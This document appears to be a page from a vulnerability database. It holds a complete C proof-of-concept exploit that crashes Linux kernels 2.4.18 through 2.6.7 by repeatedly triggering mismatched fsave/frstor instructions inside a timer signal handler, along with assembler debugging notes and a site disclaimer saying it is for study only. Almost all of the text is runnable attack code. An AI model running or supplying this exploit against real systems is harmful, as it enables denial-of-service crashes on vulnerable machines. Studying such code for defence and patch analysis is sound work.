/* ----------------------------------------------------------------------------- * frstor Local Kernel exploit * Crashes any kernel from 2.4.18 * to 2.6.7 because frstor in assembler inline offsets in memory by 4. * Original proof of concept code * by stian_@_nixia.no. * Added some stuff by lorenzo_@_gnu.org * and fixed the fsave line with (*fpubuf). * ----------------------------------------------------------------------------- */ /* ----------------------------------------- Some debugging information made available by stian_@_nixia.no ----------------------------------------- TakeDown: pushl %ebp movl %esp, %ebp subl $136, %esp leal -120(%ebp), %eax movl %eax, -124(%ebp) #APP fsave -124(%ebp) #NO_APP subl $4, %esp pushl $1 pushl $.LC0 pushl $2 call write addl $16, %esp leal -120(%ebp), %eax movl %eax, -128(%ebp) #APP frstor -128(%ebp) #NO_APP leave ret */ #include <sys/time.h> #include <signal.h> #include <unistd.h> static void TakeDown(int ignore) { char fpubuf[108]; // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, TakeDown); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } // <<EOF
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论